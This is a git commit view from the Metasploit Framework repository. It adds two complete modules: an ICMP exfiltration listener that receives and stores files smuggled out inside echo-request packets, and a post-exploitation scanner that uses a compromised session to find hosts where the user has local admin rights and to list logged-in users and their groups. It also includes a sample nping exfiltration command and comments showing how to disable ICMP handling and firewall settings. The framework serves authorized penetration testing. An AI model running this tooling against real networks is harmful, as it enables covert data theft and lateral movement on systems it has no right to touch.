Merge branch 'master' of git://github.com/rapid7/metasploit-framework

bug/bundler_fix
sinn3r 2012-12-28 10:32:31 -06:00
commit e778730a6a
5 changed files with 598 additions and 2 deletions

View File

@ -124,7 +124,7 @@ module PacketFu
attr_accessor :eth_header, :ip_header, :icmp_header
def self.can_parse?(str)
return false unless str.size >= 54
return false unless str.size >= 38
return false unless EthPacket.can_parse? str
return false unless IPPacket.can_parse? str
return false unless str[23,1] == "\x01"

View File

@ -35,6 +35,26 @@ class Def_netapi32
["DWORD","resume_handle","inout"]
])
dll.add_function('NetWkstaUserEnum', 'DWORD', [
["PWCHAR","servername","in"],
["DWORD","level","in"],
["PDWORD","bufptr","out"],
["DWORD","prefmaxlen","in"],
["PDWORD","entriesread","out"],
["PDWORD","totalentries","out"],
["DWORD","resume_handle","inout"]
])
dll.add_function('NetUserGetGroups', 'DWORD', [
["PWCHAR","servername","in"],
["PWCHAR","username","in"],
["DWORD","level","in"],
["PDWORD","bufptr","out"],
["DWORD","prefmaxlen","in"],
["PDWORD","entriesread","out"],
["PDWORD","totalentries","out"]
])
return dll
end
@ -42,4 +62,3 @@ end
end; end; end; end; end; end; end

View File

@ -0,0 +1,260 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Capture
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'ICMP Exfiltration Service',
'Description' => %q{
This module is designed to provide a server-side component to receive and store files
exfiltrated over ICMP echo request packets.
To use this module you will need to send an initial ICMP echo request containing the
specific start trigger (defaults to '^BOF') this can be followed by the filename being sent (or
a random filename can be assisnged). All data received from this source will automatically
be added to the receive buffer until an ICMP echo request containing a specific end trigger
(defaults to '^EOL') is received.
Suggested Client:
Data can be sent from the client using a variety of tools. One such example is nping (included
with the NMAP suite of tools) - usage: nping --icmp 10.0.0.1 --data-string "BOFtest.txt" -c1
},
'Author' => 'Chris John Riley',
'License' => MSF_LICENSE,
'References' =>
[
# packetfu
['URL','https://github.com/todb/packetfu'],
# nping
['URL', 'http://nmap.org/book/nping-man.html'],
# simple icmp
['URL', 'http://blog.c22.cc/2012/02/17/quick-post-fun-with-python-ctypes-simpleicmp/']
]
)
register_options([
OptString.new('START_TRIGGER', [true, 'Trigger for beginning of file', '^BOF']),
OptString.new('END_TRIGGER', [true, 'Trigger for end of file', '^EOF']),
OptString.new('RESP_START', [true, 'Data to respond when initial trigger matches', 'SEND']),
OptString.new('RESP_CONT', [true, 'Data ro resond when continuation of data expected', 'OK']),
OptString.new('RESP_END', [true, 'Data to response when EOF received and data saved', 'COMPLETE']),
OptString.new('BPF_FILTER', [true, 'BFP format filter to listen for', 'icmp']),
OptString.new('INTERFACE', [false, 'The name of the interface']),
OptBool.new('FNAME_IN_PACKET', [true, 'Filename presented in first packet straight after START_TRIGGER', true])
], self.class)
register_advanced_options([
OptEnum.new('CLOAK', [true, 'OS fingerprint to use for packet creation', 'linux', ['windows', 'linux', 'freebsd']]),
OptBool.new('PROMISC', [true, 'Enable/Disable promiscuous mode', false]),
OptAddress.new('LOCALIP', [false, 'The IP address of the local interface'])
], self.class)
deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','UDP_SECRET','GATEWAY','NETMASK', 'TIMEOUT')
end
def run
begin
# check Pcaprub is up to date
if not netifaces_implemented?
print_error("WARNING : Pcaprub is not uptodate, some functionality will not be available")
netifaces = false
else
netifaces = true
end
@interface = datastore['INTERFACE'] || Pcap.lookupdev
# this is needed on windows cause we send interface directly to Pcap functions
@interface = get_interface_guid(@interface)
@iface_ip = datastore['LOCALIP']
@iface_ip ||= Pcap.lookupaddrs(@interface)[0] if netifaces
raise "Interface IP is not defined and can not be guessed" unless @iface_ip
# start with blank slate
@record = false
@record_data = ''
if datastore['PROMISC']
print_status("Warning: Promiscuous mode enabled. This may cause issues!")
end
# start icmp listener process - loop
icmp_listener
ensure
store_file
print_status("\nStopping ICMP listener on #{@interface} (#{@iface_ip})")
end
end
def icmp_listener
# start icmp listener
print_status("ICMP Listener started on #{@interface} (#{@iface_ip}). Monitoring for trigger packet containing #{datastore['START_TRIGGER']}")
if datastore['FNAME_IN_PACKET']
print_status("Filename expected in initial packet, directly following trigger (e.g. #{datastore['START_TRIGGER']}filename.ext)")
end
cap = PacketFu::Capture.new(
:iface => @interface,
:start => true,
:filter => datastore['BPF_FILTER'],
:promisc => datastore['PROMISC']
)
loop {
cap.stream.each do | pkt |
packet = PacketFu::Packet.parse(pkt)
data = packet.payload[4..-1]
if packet.is_icmp? and data =~ /#{datastore['START_TRIGGER']}/
# start of new file detected
vprint_status("#{Time.now}: ICMP (type %d code %d) SRC:%s DST:%s" %
[packet.icmp_type, packet.icmp_code, packet.ip_saddr, packet.ip_daddr])
# detect and warn if system is responding to ICMP echo requests
# suggested fixes:
# -(linux) echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
# -(Windows) netsh firewall set icmpsetting 8 disable
# -(Windows) netsh firewall set opmode mode = ENABLE
if packet.icmp_type == 0 and packet.icmp_code == 0 and packet.ip_saddr == @iface_ip
print_error "Dectected ICMP echo response. You must either disable ICMP handling"
print_error "or try a more restrictive BPF filter. You might try:"
print_error " set BPF_FILTER icmp and not src #{datastore['LOCALIP']}"
return
end
if @record
print_error("New file started without saving old data")
store_file
end
# begin recording stream
@record = true
@record_host = packet.ip_saddr
@record_data = ''
# set filename from data in incoming icmp packet
if datastore['FNAME_IN_PACKET']
@filename = data[((datastore['START_TRIGGER'].length)-1)..-1].strip
end
# if filename not sent in packet, or FNAME_IN_PACKET false set time based name
if not datastore['FNAME_IN_PACKET'] or @filename.empty?
@filename = "icmp_exfil_" + ::Time.now.to_i.to_s # set filename based on current time
end
print_good("Beginning capture of \"#{@filename}\" data")
# create response packet icmp_pkt
icmp_response, contents = icmp_packet(packet, datastore['RESP_START'])
if not icmp_response
raise RuntimeError ,"Could not build ICMP response"
else
# send response packet icmp_pkt
send_icmp(icmp_response, contents)
end
elsif packet.is_icmp? and @record and @record_host == packet.ip_saddr
# check for EOF marker, if not continue recording data
if data =~ /#{datastore['END_TRIGGER']}/
# end of file marker found
print_status("#{@record_data.length} bytes of data recevied in total")
print_good("End of File received. Saving \"#{@filename}\" to loot")
store_file
# create response packet icmp_pkt
icmp_response, contents = icmp_packet(packet, datastore['RESP_END'])
if not icmp_response
raise RuntimeError , "Could not build ICMP response"
else
# send response packet icmp_pkt
send_icmp(icmp_response, contents)
end
# turn off recording and clear status
@record = false
@record_host = ''
@record_data = ''
else
# add data to recording and continue
@record_data << data.to_s()
vprint_status("Received #{data.length} bytes of data from #{packet.ip_saddr}")
# create response packet icmp_pkt
icmp_response, contents = icmp_packet(packet, datastore['RESP_CONT'])
if not icmp_response
raise RuntimeError , "Could not build ICMP response"
else
# send response packet icmp_pkt
send_icmp(icmp_response, contents)
end
end
end
end
}
end
def icmp_packet(packet, contents)
# create icmp response
@src_ip = packet.ip_daddr
src_mac = packet.eth_daddr
@dst_ip = packet.ip_saddr
dst_mac = packet.eth_saddr
icmp_id = packet.payload[0,2]
icmp_seq = packet.payload[2,2]
# create payload with matching id/seq
resp_payload = icmp_id + icmp_seq + contents
icmp_pkt = PacketFu::ICMPPacket.new(:flavor => datastore['CLOAK'].downcase)
icmp_pkt.eth_saddr = src_mac
icmp_pkt.eth_daddr = dst_mac
icmp_pkt.icmp_type = 0
icmp_pkt.icmp_code = 0
icmp_pkt.payload = resp_payload
icmp_pkt.ip_saddr = @src_ip
icmp_pkt.ip_daddr = @dst_ip
icmp_pkt.recalc
icmp_response = icmp_pkt
return icmp_response, contents
end
def send_icmp(icmp_response, contents)
# send icmp response on selected interface
icmp_response.to_w(iface = @interface)
vprint_good("Response sent to #{@dst_ip} containing response trigger : \"#{contents}\"")
end
def store_file
# store the file in loot if data is present
if @record_data and not @record_data.empty?
loot = store_loot(
"icmp_exfil",
"text/xml",
@src_ip,
@record_data,
@filename,
"ICMP Exfiltrated Data"
)
print_good("Incoming file \"#{@filename}\" saved to loot")
print_good("Loot filename: #{loot}")
end
end
end

View File

@ -0,0 +1,258 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Priv
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Msf::Post::Common
def initialize(info={})
super(update_info(info,
'Name' => 'Windows Gather Local Admin Search',
'Description' => %q{
This module will identify systems in a given range that the
supplied domain user (should migrate into a user pid) has administrative
access to by using the Windows API OpenSCManagerA to establishing a handle
to the remote host. Additionally it can enumerate logged in users and group
membership via Windows API NetWkstaUserEnum and NetUserGetGroups.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brandon McCann "zeknox" <bmccann[at]accuvant.com>',
'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>',
'Royce Davis "r3dy" <rdavis[at]accuvant.com>'
],
'Platform' => [ 'windows'],
'SessionTypes' => [ 'meterpreter' ]
))
register_options(
[
OptBool.new('ENUM_USERS', [ true, 'Enumerates logged on users.', true]),
OptBool.new('ENUM_GROUPS', [ false, 'Enumerates groups for identified users.', true]),
OptString.new('DOMAIN', [false, 'Domain to enumerate user\'s groups for']),
OptString.new('DOMAIN_CONTROLLER', [false, 'Domain Controller to query groups'])
], self.class)
end
def setup
super
# This datastore option can be modified during runtime.
# Saving it here so the modified value remains with this module.
@domain_controller = datastore['DOMAIN_CONTROLLER']
if is_system?
# running as SYSTEM and will not pass any network credentials
print_error "Running as SYSTEM, module should be run with USER level rights"
return
else
@adv = client.railgun.advapi32
# Get domain and domain controller if options left blank
if datastore['DOMAIN'].nil? or datastore['DOMAIN'].empty?
user = client.sys.config.getuid
datastore['DOMAIN'] = user.split('\\')[0]
end
if @domain_controll.nil? and datastore['ENUM_GROUPS']
@dc_error = false
# Uses DC which applied policy since it would be a DC this device normally talks to
cmd = "gpresult /SCOPE COMPUTER"
# If Vista/2008 or later add /R
if (sysinfo['OS'] =~ /Build [6-9]\d\d\d/)
cmd << " /R"
end
res = cmd_exec("cmd.exe","/c #{cmd}")
# Check if RSOP data exists, if not disable group check
unless res =~ /does not have RSOP data./
@domain_controller = /Group Policy was applied from:\s*(.*)\s*/.match(res)[1].chomp
else
@dc_error = true
print_error("User never logged into device, will not enumerate groups or manually specify DC.")
end
end
end
end
# main control method
def run_host(ip)
connect(ip)
end
# http://msdn.microsoft.com/en-us/library/windows/desktop/aa370669(v=vs.85).aspx
# enumerate logged in users
def enum_users(host)
userlist = Array.new
begin
# Connect to host and enumerate logged in users
winsessions = client.railgun.netapi32.NetWkstaUserEnum("\\\\#{host}", 1, 4, -1, 4, 4, nil)
rescue ::Exception => e
print_error("Issue enumerating users on #{host}")
return userlist
end
return userlist if winsessions.nil?
count = winsessions['totalentries'] * 2
startmem = winsessions['bufptr']
base = 0
userlist = Array.new
begin
mem = client.railgun.memread(startmem, 8*count)
rescue ::Exception => e
print_error("Issue reading memory for #{host}")
vprint_error(e.to_s)
return userlist
end
# For each entry returned, get domain and name of logged in user
begin
count.times{|i|
temp = {}
userptr = mem[(base + 0),4].unpack("V*")[0]
temp[:user] = client.railgun.memread(userptr,255).split("\0\0")[0].split("\0").join
nameptr = mem[(base + 4),4].unpack("V*")[0]
temp[:domain] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join
# Ignore if empty or machine account
unless temp[:user].empty? or temp[:user][-1, 1] == "$"
# Check if enumerated user's domain matches supplied domain, if there was
# an error, or if option disabled
data = ""
if datastore['DOMAIN'].upcase == temp[:domain].upcase and not @dc_error and datastore['ENUM_GROUPS']
data << " - Groups: #{enum_groups(temp[:user]).chomp(", ")}"
end
line = "\tLogged in user:\t#{temp[:domain]}\\#{temp[:user]}#{data}\n"
# Write user and groups to notes database
db_note(host, "#{temp[:domain]}\\#{temp[:user]}#{data}", "localadmin.user.loggedin")
userlist << line unless userlist.include? line
end
base = base + 8
}
rescue ::Exception => e
print_error("Issue enumerating users on #{host}")
vprint_error(e.backtrace)
end
return userlist
end
# http://msdn.microsoft.com/en-us/library/windows/desktop/aa370653(v=vs.85).aspx
# Enumerate groups for identified users
def enum_groups(user)
grouplist = ""
dc = "\\\\#{@domain_controller}"
begin
# Connect to DC and enumerate groups of user
usergroups = client.railgun.netapi32.NetUserGetGroups(dc, user, 0, 4, -1, 4, 4)
rescue ::Exception => e
print_error("Issue connecting to DC, try manually setting domain and DC")
vprint_error(e.to_s)
return grouplist
end
count = usergroups['totalentries']
startmem = usergroups['bufptr']
base = 0
begin
mem = client.railgun.memread(startmem, 8*count)
rescue ::Exception => e
print_error("Issue reading memory for groups for user #{user}")
vprint_error(e.to_s)
return grouplist
end
begin
# For each entry returned, get group
count.to_i.times{|i|
temp = {}
groupptr = mem[(base + 0),4].unpack("V*")[0]
temp[:group] = client.railgun.memread(groupptr,255).split("\0\0")[0].split("\0").join
# Add group to string to be returned
grouplist << "#{temp[:group]}, "
if (i % 5) == 2
grouplist <<"\n\t- "
end
base = base + 4
}
rescue ::Exception => e
print_error("Issue enumerating groups for user #{user}, check domain")
vprint_error(e.backtrace)
return grouplist
end
return grouplist.chomp("\n\t- ")
end
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms684323(v=vs.85).aspx
# method to connect to remote host using windows api
def connect(host)
if @adv.nil?
return
end
user = client.sys.config.getuid
# use railgun and OpenSCManagerA api to connect to remote host
manag = @adv.OpenSCManagerA("\\\\#{host}", nil, 0xF003F) # SC_MANAGER_ALL_ACCESS
if(manag["return"] != 0) # we have admin rights
result = "#{host.ljust(16)} #{user} - Local admin found\n"
# Run enumerate users on all hosts if option was set
if datastore['ENUM_USERS']
enum_users(host).each {|i|
result << i
}
end
# close the handle if connection was made
@adv.CloseServiceHandle(manag["return"])
# Append data to loot table within database
print_good(result.chomp("\n")) unless result.nil?
db_loot(host, user, "localadmin.user")
else
# we dont have admin rights
print_error("#{host.ljust(16)} #{user} - No Local Admin rights")
end
end
# Write to notes database
def db_note(host, data, type)
report_note(
:type => type,
:data => data,
:host => host,
:update => :unique_data
)
end
# Write to loot database
def db_loot(host, user, type)
p = store_loot(type, 'text/plain', host, "#{host}:#{user}", 'hosts_localadmin.txt', user)
vprint_status("User data stored in: #{p}")
end
end

View File

@ -0,0 +1,59 @@
require 'rex/post/meterpreter/packet'
require 'rex/post/meterpreter/packet_parser'
describe Rex::Post::Meterpreter::PacketParser do
subject{
Rex::Post::Meterpreter::PacketParser.new
}
before(:each) do
@req_packt = Rex::Post::Meterpreter::Packet.new(
Rex::Post::Meterpreter::PACKET_TYPE_REQUEST,
"test_method")
@raw = @req_packt.to_r
@sock = double('Socket')
@sock.stub(:read) do |arg|
@raw.slice!(0,arg)
end
end
it "should respond to cipher" do
subject.should respond_to :cipher
end
it "should respond to raw" do
subject.should respond_to :raw
end
it "should respond to reset" do
subject.should respond_to :reset
end
it "should respond to recv" do
subject.should respond_to :recv
end
it "should respond to hdr_length_left" do
subject.should respond_to :hdr_length_left
end
it "should respond to payload_length_left" do
subject.should respond_to :payload_length_left
end
it "should initialise with expected defaults" do
subject.send(:raw).should == ""
subject.send(:hdr_length_left).should == 8
subject.send(:payload_length_left).should == 0
end
it "should parse valid raw data into a packet object" do
while @raw.length >0
parsed_packet = subject.recv(@sock)
end
parsed_packet.class.should == Rex::Post::Meterpreter::Packet
parsed_packet.type.should == Rex::Post::Meterpreter::PACKET_TYPE_REQUEST
parsed_packet.method?("test_method").should == true
end
end